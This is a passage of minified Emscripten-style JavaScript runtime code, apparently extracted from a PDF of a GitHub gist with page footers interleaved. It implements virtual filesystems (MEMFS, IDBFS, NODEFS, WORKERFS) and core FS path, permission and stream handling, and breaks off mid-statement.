new\r\nFS.ErrnoError(ERRNO_CODES.ENOTEMPTY) } delete parent.contents[name] }), readdir: (function(node) { var entries =\r\n[\".\", \"..\"]; for (var key in node.contents) { if (!node.contents.hasOwnProperty(key)) { continue } entries.push(key) } return\r\nentries }), symlink: (function(parent, newname, oldpath) { var node = MEMFS.createNode(parent, newname, 511 | 40960,\r\n0); node.link = oldpath; return node }), readlink: (function(node) { if (!FS.isLink(node.mode)) { throw new\r\nFS.ErrnoError(ERRNO_CODES.EINVAL) } return node.link }) }, stream_ops: { read: (function(stream, buffer, offset,\r\nlength, position) { var contents = stream.node.contents; if (position \u003e= stream.node.usedBytes) return 0; var size =\r\nMath.min(stream.node.usedBytes - position, length); assert(size \u003e= 0); if (size \u003e 8 \u0026\u0026 contents.subarray) {\r\nbuffer.set(contents.subarray(position, position + size), offset) } else { for (var i = 0; i \u003c size; i++) buffer[offset + i] =\r\ncontents[position + i] } return size }), write: (function(stream, buffer, offset, length, position, canOwn) { if (!length) return\r\n0; var node = stream.node; node.timestamp = Date.now(); if (buffer.subarray \u0026\u0026 (!node.contents || node.contents.subarray))\r\n{ if (canOwn) { node.contents = buffer.subarray(offset, offset + length); node.usedBytes = length; return length } else if\r\n(node.usedBytes === 0 \u0026\u0026 position === 0) { node.contents = new Uint8Array(buffer.subarray(offset, offset + length));\r\nnode.usedBytes = length; return length } else if (position + length \u003c= node.usedBytes) {\r\nnode.contents.set(buffer.subarray(offset, offset + length), position); return length } } MEMFS.expandFileStorage(node,\r\nposition + length); if (node.contents.subarray \u0026\u0026 buffer.subarray) node.contents.set(buffer.subarray(offset, offset + length),\r\nposition); else { for (var i = 0; i \u003c length; i++) { node.contents[position + i] = buffer[offset + i] } } node.usedBytes =\r\nMath.max(node.usedBytes, position + length); return length }), llseek: (function(stream, offset, whence) { var position =\r\noffset; if (whence === 1) { position += stream.position } else if (whence === 2) { if (FS.isFile(stream.node.mode)) {\r\nposition += stream.node.usedBytes } } if (position \u003c 0) { throw new FS.ErrnoError(ERRNO_CODES.EINVAL) } return\r\nposition }), allocate: (function(stream, offset, length) { MEMFS.expandFileStorage(stream.node, offset + length);\r\nstream.node.usedBytes = Math.max(stream.node.usedBytes, offset + length) }), mmap: (function(stream, buffer, offset,\r\nlength, position, prot, flags) { if (!FS.isFile(stream.node.mode)) { throw new FS.ErrnoError(ERRNO_CODES.ENODEV) }\r\nvar ptr; var allocated; var contents = stream.node.contents; if (!(flags \u0026 2) \u0026\u0026 (contents.buffer === buffer || contents.buffer\r\n=== buffer.buffer)) { allocated = !1; ptr = contents.byteOffset } else { if (position \u003e 0 || position + length \u003c\r\nstream.node.usedBytes) { if (contents.subarray) { contents = contents.subarray(position, position + length) } else { contents\r\n= Array.prototype.slice.call(contents, position, position + length) } } allocated = !0; ptr = _malloc(length); if (!ptr) { throw\r\nnew FS.ErrnoError(ERRNO_CODES.ENOMEM) } buffer.set(contents, ptr) } return { ptr: ptr, allocated: allocated } }),\r\nmsync: (function(stream, buffer, offset, length, mmapFlags) { if (!FS.isFile(stream.node.mode)) { throw new\r\nFS.ErrnoError(ERRNO_CODES.ENODEV) } if (mmapFlags \u0026 2) { return 0 } var bytesWritten =\r\nMEMFS.stream_ops.write(stream, buffer, 0, length, offset, !1); return 0 }) } }; var IDBFS = { dbs: {}, indexedDB:\r\n(function() { if (typeof indexedDB !== \"undefined\") return indexedDB; var ret = null; if (typeof window === \"object\") ret =\r\nwindow.indexedDB || window.mozIndexedDB || window.webkitIndexedDB || window.msIndexedDB; assert(ret, \"IDBFS\r\nused, but indexedDB not supported\"); return ret }), DB_VERSION: 21, DB_STORE_NAME: \"FILE_DATA\", mount:\r\n(function(mount) { return MEMFS.mount.apply(null, arguments) }), syncfs: (function(mount, populate, callback) {\r\nIDBFS.getLocalSet(mount, (function(err, local) { if (err) return callback(err); IDBFS.getRemoteSet(mount, (function(err,\r\nremote) { if (err) return callback(err); var src = populate ? remote : local; var dst = populate ? local : remote;\r\nIDBFS.reconcile(src, dst, callback) })) })) }), getDB: (function(name, callback) { var db = IDBFS.dbs[name]; if (db) {\r\nreturn callback(null, db) } var req; try { req = IDBFS.indexedDB().open(name, IDBFS.DB_VERSION) } catch (e) { return\r\ncallback(e) } if (!req) { return callback(\"Unable to connect to IndexedDB\") } req.onupgradeneeded = (function(e) { var db =\r\ne.target.result; var transaction = e.target.transaction; var fileStore; if\r\n(db.objectStoreNames.contains(IDBFS.DB_STORE_NAME)) { fileStore =\r\ntransaction.objectStore(IDBFS.DB_STORE_NAME) } else { fileStore =\r\ndb.createObjectStore(IDBFS.DB_STORE_NAME) } if (!fileStore.indexNames.contains(\"timestamp\")) {\r\nfileStore.createIndex(\"timestamp\", \"timestamp\", { unique: !1 }) } }); req.onsuccess = (function() { db = req.result;\r\nIDBFS.dbs[name] = db; callback(null, db) }); req.onerror = (function(e) { callback(this.error); e.preventDefault() }) }),\r\nhttps://gist.github.com/JohnLaTwC/112483eb9aed27dd2184966711c722ec\r\nPage 8 of 20\n\ngetLocalSet: (function(mount, callback) { var entries = {}; function isRealDir(p) { return p !== \".\" \u0026\u0026 p !== \"..\" } function\r\ntoAbsolute(root) { return (function(p) { return PATH.join2(root, p) }) } var check =\r\nFS.readdir(mount.mountpoint).filter(isRealDir).map(toAbsolute(mount.mountpoint)); while (check.length) { var path =\r\ncheck.pop(); var stat; try { stat = FS.stat(path) } catch (e) { return callback(e) } if (FS.isDir(stat.mode)) {\r\ncheck.push.apply(check, FS.readdir(path).filter(isRealDir).map(toAbsolute(path))) } entries[path] = { timestamp: stat.mtime\r\n} } return callback(null, { type: \"local\", entries: entries }) }), getRemoteSet: (function(mount, callback) { var entries = {};\r\nIDBFS.getDB(mount.mountpoint, (function(err, db) { if (err) return callback(err); var transaction =\r\ndb.transaction([IDBFS.DB_STORE_NAME], \"readonly\"); transaction.onerror = (function(e) { callback(this.error);\r\ne.preventDefault() }); var store = transaction.objectStore(IDBFS.DB_STORE_NAME); var index =\r\nstore.index(\"timestamp\"); index.openKeyCursor().onsuccess = (function(event) { var cursor = event.target.result; if (!cursor)\r\n{ return callback(null, { type: \"remote\", db: db, entries: entries }) } entries[cursor.primaryKey] = { timestamp: cursor.key };\r\ncursor.continue() }) })) }), loadLocalEntry: (function(path, callback) { var stat, node; try { var lookup =\r\nFS.lookupPath(path); node = lookup.node; stat = FS.stat(path) } catch (e) { return callback(e) } if (FS.isDir(stat.mode)) {\r\nreturn callback(null, { timestamp: stat.mtime, mode: stat.mode }) } else if (FS.isFile(stat.mode)) { node.contents =\r\nMEMFS.getFileDataAsTypedArray(node); return callback(null, { timestamp: stat.mtime, mode: stat.mode, contents:\r\nnode.contents }) } else { return callback(new Error(\"node type not supported\")) } }), storeLocalEntry: (function(path, entry,\r\ncallback) { try { if (FS.isDir(entry.mode)) { FS.mkdir(path, entry.mode) } else if (FS.isFile(entry.mode)) {\r\nFS.writeFile(path, entry.contents, { encoding: \"binary\", canOwn: !0 }) } else { return callback(new Error(\"node type not\r\nsupported\")) } FS.chmod(path, entry.mode); FS.utime(path, entry.timestamp, entry.timestamp) } catch (e) { return\r\ncallback(e) } callback(null) }), removeLocalEntry: (function(path, callback) { try { var lookup = FS.lookupPath(path); var\r\nstat = FS.stat(path); if (FS.isDir(stat.mode)) { FS.rmdir(path) } else if (FS.isFile(stat.mode)) { FS.unlink(path) } } catch (e)\r\n{ return callback(e) } callback(null) }), loadRemoteEntry: (function(store, path, callback) { var req = store.get(path);\r\nreq.onsuccess = (function(event) { callback(null, event.target.result) }); req.onerror = (function(e) { callback(this.error);\r\ne.preventDefault() }) }), storeRemoteEntry: (function(store, path, entry, callback) { var req = store.put(entry, path);\r\nreq.onsuccess = (function() { callback(null) }); req.onerror = (function(e) { callback(this.error); e.preventDefault() }) }),\r\nremoveRemoteEntry: (function(store, path, callback) { var req = store.delete(path); req.onsuccess = (function() {\r\ncallback(null) }); req.onerror = (function(e) { callback(this.error); e.preventDefault() }) }), reconcile: (function(src, dst,\r\ncallback) { var total = 0; var create = []; Object.keys(src.entries).forEach((function(key) { var e = src.entries[key]; var e2 =\r\ndst.entries[key]; if (!e2 || e.timestamp \u003e e2.timestamp) { create.push(key); total++ } })); var remove = [];\r\nObject.keys(dst.entries).forEach((function(key) { var e = dst.entries[key]; var e2 = src.entries[key]; if (!e2) {\r\nremove.push(key); total++ } })); if (!total) { return callback(null) } var completed = 0; var db = src.type === \"remote\" ?\r\nsrc.db : dst.db; var transaction = db.transaction([IDBFS.DB_STORE_NAME], \"readwrite\"); var store =\r\ntransaction.objectStore(IDBFS.DB_STORE_NAME); function done(err) { if (err) { if (!done.errored) { done.errored = !0;\r\nreturn callback(err) } return } if (++completed \u003e= total) { return callback(null) } } transaction.onerror = (function(e) {\r\ndone(this.error); e.preventDefault() }); create.sort().forEach((function(path) { if (dst.type === \"local\") {\r\nIDBFS.loadRemoteEntry(store, path, (function(err, entry) { if (err) return done(err); IDBFS.storeLocalEntry(path, entry,\r\ndone) })) } else { IDBFS.loadLocalEntry(path, (function(err, entry) { if (err) return done(err);\r\nIDBFS.storeRemoteEntry(store, path, entry, done) })) } })); remove.sort().reverse().forEach((function(path) { if (dst.type\r\n=== \"local\") { IDBFS.removeLocalEntry(path, done) } else { IDBFS.removeRemoteEntry(store, path, done) } })) }) }; var\r\nNODEFS = { isWindows: !1, staticInit: (function() { NODEFS.isWindows = !!process.platform.match(/^win/) }), mount:\r\n(function(mount) { assert(ENVIRONMENT_IS_NODE); return NODEFS.createNode(null, \"/\",\r\nNODEFS.getMode(mount.opts.root), 0) }), createNode: (function(parent, name, mode, dev) { if (!FS.isDir(mode) \u0026\u0026\r\n!FS.isFile(mode) \u0026\u0026 !FS.isLink(mode)) { throw new FS.ErrnoError(ERRNO_CODES.EINVAL) } var node =\r\nFS.createNode(parent, name, mode); node.node_ops = NODEFS.node_ops; node.stream_ops = NODEFS.stream_ops;\r\nreturn node }), getMode: (function(path) { var stat; try { stat = fs.lstatSync(path); if (NODEFS.isWindows) { stat.mode =\r\nstat.mode | (stat.mode \u0026 146) \u003e\u003e 1 } } catch (e) { if (!e.code) throw e; throw new FS.ErrnoError(ERRNO_CODES[e.code])\r\n} return stat.mode }), realPath: (function(node) { var parts = []; while (node.parent !== node) { parts.push(node.name); node\r\n= node.parent } parts.push(node.mount.opts.root); parts.reverse(); return PATH.join.apply(null, parts) }),\r\nflagsToPermissionStringMap: { 0: \"r\", 1: \"r+\", 2: \"r+\", 64: \"r\", 65: \"r+\", 66: \"r+\", 129: \"rx+\", 193: \"rx+\", 514: \"w+\", 577:\r\n\"w\", 578: \"w+\", 705: \"wx\", 706: \"wx+\", 1024: \"a\", 1025: \"a\", 1026: \"a+\", 1089: \"a\", 1090: \"a+\", 1153: \"ax\", 1154: \"ax+\",\r\n1217: \"ax\", 1218: \"ax+\", 4096: \"rs\", 4098: \"rs+\" }, flagsToPermissionString: (function(flags) { flags \u0026= ~2097152; flags\r\n\u0026= ~2048; flags \u0026= ~32768; flags \u0026= ~524288; if (flags in NODEFS.flagsToPermissionStringMap) { return\r\nNODEFS.flagsToPermissionStringMap[flags] } else { throw new FS.ErrnoError(ERRNO_CODES.EINVAL) } }),\r\nnode_ops: { getattr: (function(node) { var path = NODEFS.realPath(node); var stat; try { stat = fs.lstatSync(path) } catch (e)\r\n{ if (!e.code) throw e; throw new FS.ErrnoError(ERRNO_CODES[e.code]) } if (NODEFS.isWindows \u0026\u0026 !stat.blksize) {\r\nstat.blksize = 4096 } if (NODEFS.isWindows \u0026\u0026 !stat.blocks) { stat.blocks = (stat.size + stat.blksize - 1) / stat.blksize | 0 }\r\nreturn { dev: stat.dev, ino: stat.ino, mode: stat.mode, nlink: stat.nlink, uid: stat.uid, gid: stat.gid, rdev: stat.rdev, size:\r\nstat.size, atime: stat.atime, mtime: stat.mtime, ctime: stat.ctime, blksize: stat.blksize, blocks: stat.blocks } }), setattr:\r\n(function(node, attr) { var path = NODEFS.realPath(node); try { if (attr.mode !== undefined) { fs.chmodSync(path,\r\nattr.mode); node.mode = attr.mode } if (attr.timestamp !== undefined) { var date = new Date(attr.timestamp);\r\nfs.utimesSync(path, date, date) } if (attr.size !== undefined) { fs.truncateSync(path, attr.size) } } catch (e) { if (!e.code)\r\nthrow e; throw new FS.ErrnoError(ERRNO_CODES[e.code]) } }), lookup: (function(parent, name) { var path =\r\nPATH.join2(NODEFS.realPath(parent), name); var mode = NODEFS.getMode(path); return NODEFS.createNode(parent,\r\nname, mode) }), mknod: (function(parent, name, mode, dev) { var node = NODEFS.createNode(parent, name, mode, dev);\r\nhttps://gist.github.com/JohnLaTwC/112483eb9aed27dd2184966711c722ec\r\nPage 9 of 20\n\nvar path = NODEFS.realPath(node); try { if (FS.isDir(node.mode)) { fs.mkdirSync(path, node.mode) } else {\r\nfs.writeFileSync(path, \"\", { mode: node.mode }) } } catch (e) { if (!e.code) throw e; throw new\r\nFS.ErrnoError(ERRNO_CODES[e.code]) } return node }), rename: (function(oldNode, newDir, newName) { var oldPath =\r\nNODEFS.realPath(oldNode); var newPath = PATH.join2(NODEFS.realPath(newDir), newName); try {\r\nfs.renameSync(oldPath, newPath) } catch (e) { if (!e.code) throw e; throw new FS.ErrnoError(ERRNO_CODES[e.code]) }\r\n}), unlink: (function(parent, name) { var path = PATH.join2(NODEFS.realPath(parent), name); try { fs.unlinkSync(path) }\r\ncatch (e) { if (!e.code) throw e; throw new FS.ErrnoError(ERRNO_CODES[e.code]) } }), rmdir: (function(parent, name) {\r\nvar path = PATH.join2(NODEFS.realPath(parent), name); try { fs.rmdirSync(path) } catch (e) { if (!e.code) throw e; throw\r\nnew FS.ErrnoError(ERRNO_CODES[e.code]) } }), readdir: (function(node) { var path = NODEFS.realPath(node); try {\r\nreturn fs.readdirSync(path) } catch (e) { if (!e.code) throw e; throw new FS.ErrnoError(ERRNO_CODES[e.code]) } }),\r\nsymlink: (function(parent, newName, oldPath) { var newPath = PATH.join2(NODEFS.realPath(parent), newName); try {\r\nfs.symlinkSync(oldPath, newPath) } catch (e) { if (!e.code) throw e; throw new FS.ErrnoError(ERRNO_CODES[e.code]) }\r\n}), readlink: (function(node) { var path = NODEFS.realPath(node); try { path = fs.readlinkSync(path); path =\r\nNODEJS_PATH.relative(NODEJS_PATH.resolve(node.mount.opts.root), path); return path } catch (e) { if (!e.code) throw\r\ne; throw new FS.ErrnoError(ERRNO_CODES[e.code]) } }) }, stream_ops: { open: (function(stream) { var path =\r\nNODEFS.realPath(stream.node); try { if (FS.isFile(stream.node.mode)) { stream.nfd = fs.openSync(path,\r\nNODEFS.flagsToPermissionString(stream.flags)) } } catch (e) { if (!e.code) throw e; throw new\r\nFS.ErrnoError(ERRNO_CODES[e.code]) } }), close: (function(stream) { try { if (FS.isFile(stream.node.mode) \u0026\u0026\r\nstream.nfd) { fs.closeSync(stream.nfd) } } catch (e) { if (!e.code) throw e; throw new\r\nFS.ErrnoError(ERRNO_CODES[e.code]) } }), read: (function(stream, buffer, offset, length, position) { if (length === 0)\r\nreturn 0; var nbuffer = new Buffer(length); var res; try { res = fs.readSync(stream.nfd, nbuffer, 0, length, position) } catch\r\n(e) { throw new FS.ErrnoError(ERRNO_CODES[e.code]) } if (res \u003e 0) { for (var i = 0; i \u003c res; i++) { buffer[offset + i] =\r\nnbuffer[i] } } return res }), write: (function(stream, buffer, offset, length, position) { var nbuffer = new\r\nBuffer(buffer.subarray(offset, offset + length)); var res; try { res = fs.writeSync(stream.nfd, nbuffer, 0, length, position) }\r\ncatch (e) { throw new FS.ErrnoError(ERRNO_CODES[e.code]) } return res }), llseek: (function(stream, offset, whence) {\r\nvar position = offset; if (whence === 1) { position += stream.position } else if (whence === 2) { if\r\n(FS.isFile(stream.node.mode)) { try { var stat = fs.fstatSync(stream.nfd); position += stat.size } catch (e) { throw new\r\nFS.ErrnoError(ERRNO_CODES[e.code]) } } } if (position \u003c 0) { throw new FS.ErrnoError(ERRNO_CODES.EINVAL) }\r\nreturn position }) } }; var WORKERFS = { DIR_MODE: 16895, FILE_MODE: 33279, reader: null, mount:\r\n(function(mount) { assert(ENVIRONMENT_IS_WORKER); if (!WORKERFS.reader) WORKERFS.reader = new\r\nFileReaderSync; var root = WORKERFS.createNode(null, \"/\", WORKERFS.DIR_MODE, 0); var createdParents = {};\r\nfunction ensureParent(path) { var parts = path.split(\"/\"); var parent = root; for (var i = 0; i \u003c parts.length - 1; i++) { var curr\r\n= parts.slice(0, i + 1).join(\"/\"); if (!createdParents[curr]) { createdParents[curr] = WORKERFS.createNode(parent, parts[i],\r\nWORKERFS.DIR_MODE, 0) } parent = createdParents[curr] } return parent } function base(path) { var parts =\r\npath.split(\"/\"); return parts[parts.length - 1] } Array.prototype.forEach.call(mount.opts.files || [], (function(file) {\r\nWORKERFS.createNode(ensureParent(file.name), base(file.name), WORKERFS.FILE_MODE, 0, file,\r\nfile.lastModifiedDate) })); (mount.opts.blobs || []).forEach((function(obj) {\r\nWORKERFS.createNode(ensureParent(obj.name), base(obj.name), WORKERFS.FILE_MODE, 0, obj.data) }));\r\n(mount.opts.packages || []).forEach((function(pack) { pack.metadata.files.forEach((function(file) { var name =\r\nfile.filename.substr(1); WORKERFS.createNode(ensureParent(name), base(name), WORKERFS.FILE_MODE, 0,\r\npack.blob.slice(file.start, file.end)) })) })); return root }), createNode: (function(parent, name, mode, dev, contents, mtime) {\r\nvar node = FS.createNode(parent, name, mode); node.mode = mode; node.node_ops = WORKERFS.node_ops;\r\nnode.stream_ops = WORKERFS.stream_ops; node.timestamp = (mtime || new Date).getTime();\r\nassert(WORKERFS.FILE_MODE !== WORKERFS.DIR_MODE); if (mode === WORKERFS.FILE_MODE) { node.size\r\n= contents.size; node.contents = contents } else { node.size = 4096; node.contents = {} } if (parent) { parent.contents[name]\r\n= node } return node }), node_ops: { getattr: (function(node) { return { dev: 1, ino: undefined, mode: node.mode, nlink: 1,\r\nuid: 0, gid: 0, rdev: undefined, size: node.size, atime: new Date(node.timestamp), mtime: new Date(node.timestamp), ctime:\r\nnew Date(node.timestamp), blksize: 4096, blocks: Math.ceil(node.size / 4096) } }), setattr: (function(node, attr) { if\r\n(attr.mode !== undefined) { node.mode = attr.mode } if (attr.timestamp !== undefined) { node.timestamp = attr.timestamp }\r\n}), lookup: (function(parent, name) { throw new FS.ErrnoError(ERRNO_CODES.ENOENT) }), mknod: (function(parent,\r\nname, mode, dev) { throw new FS.ErrnoError(ERRNO_CODES.EPERM) }), rename: (function(oldNode, newDir,\r\nnewName) { throw new FS.ErrnoError(ERRNO_CODES.EPERM) }), unlink: (function(parent, name) { throw new\r\nFS.ErrnoError(ERRNO_CODES.EPERM) }), rmdir: (function(parent, name) { throw new\r\nFS.ErrnoError(ERRNO_CODES.EPERM) }), readdir: (function(node) { var entries = [\".\", \"..\"]; for (var key in\r\nnode.contents) { if (!node.contents.hasOwnProperty(key)) { continue } entries.push(key) } return entries }), symlink:\r\n(function(parent, newName, oldPath) { throw new FS.ErrnoError(ERRNO_CODES.EPERM) }), readlink: (function(node) {\r\nthrow new FS.ErrnoError(ERRNO_CODES.EPERM) }) }, stream_ops: { read: (function(stream, buffer, offset, length,\r\nposition) { if (position \u003e= stream.node.size) return 0; var chunk = stream.node.contents.slice(position, position + length);\r\nvar ab = WORKERFS.reader.readAsArrayBuffer(chunk); buffer.set(new Uint8Array(ab), offset); return chunk.size }), write:\r\n(function(stream, buffer, offset, length, position) { throw new FS.ErrnoError(ERRNO_CODES.EIO) }), llseek:\r\n(function(stream, offset, whence) { var position = offset; if (whence === 1) { position += stream.position } else if (whence\r\n=== 2) { if (FS.isFile(stream.node.mode)) { position += stream.node.size } } if (position \u003c 0) { throw new\r\nFS.ErrnoError(ERRNO_CODES.EINVAL) } return position }) } }; STATICTOP += 16; STATICTOP += 16; STATICTOP\r\n+= 16; var FS = { root: null, mounts: [], devices: [null], streams: [], nextInode: 1, nameTable: null, currentPath: \"/\",\r\nhttps://gist.github.com/JohnLaTwC/112483eb9aed27dd2184966711c722ec\r\nPage 10 of 20\n\ninitialized: !1, ignorePermissions: !0, trackingDelegate: {}, tracking: { openFlags: { READ: 1, WRITE: 2 } }, ErrnoError:\r\nnull, genericErrors: {}, filesystems: null, syncFSRequests: 0, handleFSError: (function(e) { if (!(e instanceof\r\nFS.ErrnoError)) throw e + \" : \" + stackTrace(); return ___setErrNo(e.errno) }), lookupPath: (function(path, opts) { path =\r\nPATH.resolve(FS.cwd(), path); opts = opts || {}; if (!path) return { path: \"\", node: null }; var defaults = { follow_mount: !0,\r\nrecurse_count: 0 }; for (var key in defaults) { if (opts[key] === undefined) { opts[key] = defaults[key] } } if\r\n(opts.recurse_count \u003e 8) { throw new FS.ErrnoError(ERRNO_CODES.ELOOP) } var parts =\r\nPATH.normalizeArray(path.split(\"/\").filter((function(p) { return !!p })), !1); var current = FS.root; var current_path = \"/\"; for\r\n(var i = 0; i \u003c parts.length; i++) { var islast = i === parts.length - 1; if (islast \u0026\u0026 opts.parent) { break } current =\r\nFS.lookupNode(current, parts[i]); current_path = PATH.join2(current_path, parts[i]); if (FS.isMountpoint(current)) { if\r\n(!islast || islast \u0026\u0026 opts.follow_mount) { current = current.mounted.root } } if (!islast || opts.follow) { var count = 0; while\r\n(FS.isLink(current.mode)) { var link = FS.readlink(current_path); current_path =\r\nPATH.resolve(PATH.dirname(current_path), link); var lookup = FS.lookupPath(current_path, { recurse_count:\r\nopts.recurse_count }); current = lookup.node; if (count++ \u003e 40) { throw new FS.ErrnoError(ERRNO_CODES.ELOOP) } }\r\n} } return { path: current_path, node: current } }), getPath: (function(node) { var path; while (!0) { if (FS.isRoot(node)) {\r\nvar mount = node.mount.mountpoint; if (!path) return mount; return mount[mount.length - 1] !== \"/\" ? mount + \"/\" + path :\r\nmount + path } path = path ? node.name + \"/\" + path : node.name; node = node.parent } }), hashName: (function(parentid,\r\nname) { var hash = 0; for (var i = 0; i \u003c name.length; i++) { hash = (hash \u003c\u003c 5) - hash + name.charCodeAt(i) | 0 } return\r\n(parentid + hash \u003e\u003e\u003e 0) % FS.nameTable.length }), hashAddNode: (function(node) { var hash =\r\nFS.hashName(node.parent.id, node.name); node.name_next = FS.nameTable[hash]; FS.nameTable[hash] = node }),\r\nhashRemoveNode: (function(node) { var hash = FS.hashName(node.parent.id, node.name); if (FS.nameTable[hash] ===\r\nnode) { FS.nameTable[hash] = node.name_next } else { var current = FS.nameTable[hash]; while (current) { if\r\n(current.name_next === node) { current.name_next = node.name_next; break } current = current.name_next } } }),\r\nlookupNode: (function(parent, name) { var err = FS.mayLookup(parent); if (err) { throw new FS.ErrnoError(err, parent) }\r\nvar hash = FS.hashName(parent.id, name); for (var node = FS.nameTable[hash]; node; node = node.name_next) { var\r\nnodeName = node.name; if (node.parent.id === parent.id \u0026\u0026 nodeName === name) { return node } } return\r\nFS.lookup(parent, name) }), createNode: (function(parent, name, mode, rdev) { if (!FS.FSNode) { FS.FSNode =\r\n(function(parent, name, mode, rdev) { if (!parent) { parent = this } this.parent = parent; this.mount = parent.mount;\r\nthis.mounted = null; this.id = FS.nextInode++; this.name = name; this.mode = mode; this.node_ops = {}; this.stream_ops =\r\n{}; this.rdev = rdev }); FS.FSNode.prototype = {}; var readMode = 292 | 73; var writeMode = 146;\r\nObject.defineProperties(FS.FSNode.prototype, { read: { get: (function() { return (this.mode \u0026 readMode) === readMode }),\r\nset: (function(val) { val ? this.mode |= readMode : this.mode \u0026= ~readMode }) }, write: { get: (function() { return\r\n(this.mode \u0026 writeMode) === writeMode }), set: (function(val) { val ? this.mode |= writeMode : this.mode \u0026= ~writeMode\r\n}) }, isFolder: { get: (function() { return FS.isDir(this.mode) }) }, isDevice: { get: (function() { return\r\nFS.isChrdev(this.mode) }) } }) } var node = new FS.FSNode(parent, name, mode, rdev); FS.hashAddNode(node); return\r\nnode }), destroyNode: (function(node) { FS.hashRemoveNode(node) }), isRoot: (function(node) { return node ===\r\nnode.parent }), isMountpoint: (function(node) { return !!node.mounted }), isFile: (function(mode) { return (mode \u0026 61440)\r\n=== 32768 }), isDir: (function(mode) { return (mode \u0026 61440) === 16384 }), isLink: (function(mode) { return (mode \u0026\r\n61440) === 40960 }), isChrdev: (function(mode) { return (mode \u0026 61440) === 8192 }), isBlkdev: (function(mode) { return\r\n(mode \u0026 61440) === 24576 }), isFIFO: (function(mode) { return (mode \u0026 61440) === 4096 }), isSocket: (function(mode)\r\n{ return (mode \u0026 49152) === 49152 }), flagModes: { \"r\": 0, \"rs\": 1052672, \"r+\": 2, \"w\": 577, \"wx\": 705, \"xw\": 705, \"w+\":\r\n578, \"wx+\": 706, \"xw+\": 706, \"a\": 1089, \"ax\": 1217, \"xa\": 1217, \"a+\": 1090, \"ax+\": 1218, \"xa+\": 1218 },\r\nmodeStringToFlags: (function(str) { var flags = FS.flagModes[str]; if (typeof flags === \"undefined\") { throw new\r\nError(\"Unknown file open mode: \" + str) } return flags }), flagsToPermissionString: (function(flag) { var perms = [\"r\", \"w\",\r\n\"rw\"][flag \u0026 3]; if (flag \u0026 512) { perms += \"w\" } return perms }), nodePermissions: (function(node, perms) { if\r\n(FS.ignorePermissions) { return 0 } if (perms.indexOf(\"r\") !== -1 \u0026\u0026 !(node.mode \u0026 292)) { return\r\nERRNO_CODES.EACCES } else if (perms.indexOf(\"w\") !== -1 \u0026\u0026 !(node.mode \u0026 146)) { return\r\nERRNO_CODES.EACCES } else if (perms.indexOf(\"x\") !== -1 \u0026\u0026 !(node.mode \u0026 73)) { return\r\nERRNO_CODES.EACCES } return 0 }), mayLookup: (function(dir) { var err = FS.nodePermissions(dir, \"x\"); if (err) return\r\nerr; if (!dir.node_ops.lookup) return ERRNO_CODES.EACCES; return 0 }), mayCreate: (function(dir, name) { try { var\r\nnode = FS.lookupNode(dir, name); return ERRNO_CODES.EEXIST } catch (e) {} return FS.nodePermissions(dir, \"wx\")\r\n}), mayDelete: (function(dir, name, isdir) { var node; try { node = FS.lookupNode(dir, name) } catch (e) { return e.errno }\r\nvar err = FS.nodePermissions(dir, \"wx\"); if (err) { return err } if (isdir) { if (!FS.isDir(node.mode)) { return\r\nERRNO_CODES.ENOTDIR } if (FS.isRoot(node) || FS.getPath(node) === FS.cwd()) { return ERRNO_CODES.EBUSY }\r\n} else { if (FS.isDir(node.mode)) { return ERRNO_CODES.EISDIR } } return 0 }), mayOpen: (function(node, flags) { if\r\n(!node) { return ERRNO_CODES.ENOENT } if (FS.isLink(node.mode)) { return ERRNO_CODES.ELOOP } else if\r\n(FS.isDir(node.mode)) { if (FS.flagsToPermissionString(flags) !== \"r\" || flags \u0026 512) { return ERRNO_CODES.EISDIR } }\r\nreturn FS.nodePermissions(node, FS.flagsToPermissionString(flags)) }), MAX_OPEN_FDS: 4096, nextfd:\r\n(function(fd_start, fd_end) { fd_start = fd_start || 0; fd_end = fd_end || FS.MAX_OPEN_FDS; for (var fd = fd_start; fd \u003c=\r\nfd_end; fd++) { if (!FS.streams[fd]) { return fd } } throw new FS.ErrnoError(ERRNO_CODES.EMFILE) }), getStream:\r\n(function(fd) { return FS.streams[fd] }), createStream: (function(stream, fd_start, fd_end) { if (!FS.FSStream) {\r\nFS.FSStream = (function() {}); FS.FSStream.prototype = {}; Object.defineProperties(FS.FSStream.prototype, { object: {\r\nget: (function() { return this.node }), set: (function(val) { this.node = val }) }, isRead: { get: (function() { return (this.flags \u0026\r\n2097155) !== 1 }) }, isWrite: { get: (function() { return (this.flags \u0026 2097155) !== 0 }) }, isAppend: { get: (function() {\r\nreturn this.flags \u0026 1024 }) } }) } var newStream = new FS.FSStream; for (var p in stream) { newStream[p] = stream[p] }\r\nhttps://gist.github.com/JohnLaTwC/112483eb9aed27dd2184966711c722ec\r\nPage 11 of 20\n\nstream = newStream; var fd = FS.nextfd(fd_start, fd_end); stream.fd = fd; FS.streams[fd] = stream; return stream }),\r\ncloseStream: (function(fd) { FS.streams[fd] = null }), chrdev_stream_ops: { open: (function(stream) { var device =\r\nFS.getDevice(stream.node.rdev); stream.stream_ops = device.stream_ops; if (stream.stream_ops.open) {\r\nstream.stream_ops.open(stream) } }), llseek: (function() { throw new FS.ErrnoError(ERRNO_CODES.ESPIPE) }) }, major:\r\n(function(dev) { return dev \u003e\u003e 8 }), minor: (function(dev) { return dev \u0026 255 }), makedev: (function(ma, mi) { return ma\r\n\u003c\u003c 8 | mi }), registerDevice: (function(dev, ops) { FS.devices[dev] = { stream_ops: ops } }), getDevice: (function(dev) {\r\nreturn FS.devices[dev] }), getMounts: (function(mount) { var mounts = []; var check = [mount]; while (check.length) { var\r\nm = check.pop(); mounts.push(m); check.push.apply(check, m.mounts) } return mounts }), syncfs: (function(populate,\r\ncallback) { if (typeof populate === \"function\") { callback = populate; populate = !1 } FS.syncFSRequests++; if\r\n(FS.syncFSRequests \u003e 1) { console.log(\"warning: \" + FS.syncFSRequests + \" FS.syncfs operations in flight at once,\r\nprobably just doing extra work\") } var mounts = FS.getMounts(FS.root.mount); var completed = 0; function doCallback(err)\r\n{ assert(FS.syncFSRequests \u003e 0); FS.syncFSRequests--; return callback(err) } function done(err) { if (err) { if\r\n(!done.errored) { done.errored = !0; return doCallback(err) } return } if (++completed \u003e= mounts.length) { doCallback(null)\r\n} } mounts.forEach((function(mount) { if (!mount.type.syncfs) { return done(null) } mount.type.syncfs(mount, populate,\r\ndone) })) }), mount: (function(type, opts, mountpoint) { var root = mountpoint === \"/\"; var pseudo = !mountpoint; var node;\r\nif (root \u0026\u0026 FS.root) { throw new FS.ErrnoError(ERRNO_CODES.EBUSY) } else if (!root \u0026\u0026 !pseudo) { var lookup =\r\nFS.lookupPath(mountpoint, { follow_mount: !1 }); mountpoint = 